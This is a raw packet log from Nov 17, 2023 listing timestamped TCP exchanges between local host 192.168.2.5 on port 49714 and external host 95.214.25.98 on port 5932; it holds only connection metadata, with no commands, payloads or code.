Nov 17, 2023 06:23:08.636856079 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.637769938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.637787104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.637804031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.637830019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.638585091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.638637066 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.638638973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.638657093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.638699055 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.639529943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.639547110 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.639564037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.639590979 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.640522957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.640539885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.640557051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.640572071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.640600920 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.641447067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.641463995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.641480923 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.641506910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.642340899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.642358065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.642376900 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.642389059 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.642421007 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.643268108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.643285990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.643309116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.643322945 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.644079924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.644129038 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.644150972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.644169092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.644208908 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.644989014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.645011902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.645051956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.645054102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.645888090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.645926952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.645934105 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.645992041 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.646039009 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.646826982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.646866083 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.646882057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.646908045 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.647833109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.647849083 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.647866964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.647881031 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.647926092 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.648603916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.648650885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.648694038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.648695946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.649558067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.649576902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.649606943 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.650090933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.650124073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.650135040 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.650182962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.650223970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.651035070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651051998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651074886 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651092052 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.651850939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651901960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651904106 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.651921034 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.651962996 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.652847052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.652865887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.652885914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.652914047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.653832912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.653850079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.653867960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.653882980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.653909922 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.654614925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.654666901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.654684067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.654726982 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.655514002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.655530930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.655548096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.655563116 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.655591965 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.656327963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.656372070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.656418085 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.656426907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.657263041 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.657309055 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.657325983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.657334089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.657371998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.658153057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.658169985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.658186913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.658226967 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.658974886 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659017086 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.659043074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659061909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659097910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.659940958 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659959078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659976006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.659992933 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.660770893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.660788059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.660804987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.660814047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.660839081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.662184954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662215948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662234068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662256002 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.662465096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662508965 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.662540913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662559032 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.662595987 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.663409948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.663428068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.663445950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.663466930 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.664190054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.664212942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.664232969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.664807081 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.664824009 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.664841890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.664850950 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.664872885 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.665601015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.665618896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.665637016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.665663004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.666713953 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.666749001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.666760921 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.666765928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.666799068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.667349100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.667407990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.667424917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.667443037 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.668190956 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.668231010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.668234110 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.668248892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.668283939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.669018984 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669037104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669054985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669068098 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.669845104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669887066 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.669900894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669924021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.669955969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.670728922 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.670785904 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.670803070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.670825958 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.671586990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.671624899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.671633959 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.671643972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.671683073 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.672398090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.672444105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.672461033 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.672482967 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.673263073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.673280001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.673295975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.673305035 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.673341036 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.674077034 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.674129963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.674146891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.674166918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.675002098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675051928 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.675079107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675097942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675136089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.675798893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675817966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675837994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.675856113 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.676606894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.676654100 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.676673889 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.676708937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.676747084 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.677474976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.677520037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.677537918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.677558899 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.678293943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.678338051 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.678350925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.678966045 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.678982973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.678999901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.679008961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.679034948 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.679944992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.679963112 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.679980040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.679997921 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.680708885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.680752039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.680752993 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.680777073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.680811882 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.681420088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.681437969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.681454897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.681473970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.682230949 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.682250977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.682270050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.682275057 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.682307005 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.683137894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683156013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683182001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683195114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.683944941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683962107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683979034 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.683988094 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.684015036 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.684895039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.684911966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.684928894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.684947014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.685683966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.685700893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.685718060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.685729027 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.685754061 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.686567068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.686584949 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.686600924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.686631918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.687357903 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.687376022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.687392950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.687401056 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.687427998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.688185930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.688224077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.688241005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.688261032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.689035892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689054966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689073086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689078093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.689110041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.689899921 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689917088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689934015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.689954042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.690808058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.690824986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.690841913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.690853119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.690881968 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.691514015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.691565037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.691582918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.691606998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.692374945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.692394018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.692419052 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.692939043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.692955971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.692972898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.692981958 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.693007946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.693769932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.693825960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.693850994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.693875074 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.694564104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.694607019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.694621086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.694638014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.694674969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.695449114 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.695466042 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.695482969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.695513010 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.696240902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.696259022 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.696275949 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.696285963 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.696310997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.697077990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697102070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697118998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697144985 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.697880983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697926044 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.697940111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697957993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.697997093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.698744059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.698761940 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.698777914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.698803902 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.699496984 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.699546099 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.699572086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.699589968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.699630976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.700391054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.700408936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.700426102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.700454950 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.701226950 CET	5932	49714	95.214.25.98	192.168.2.5
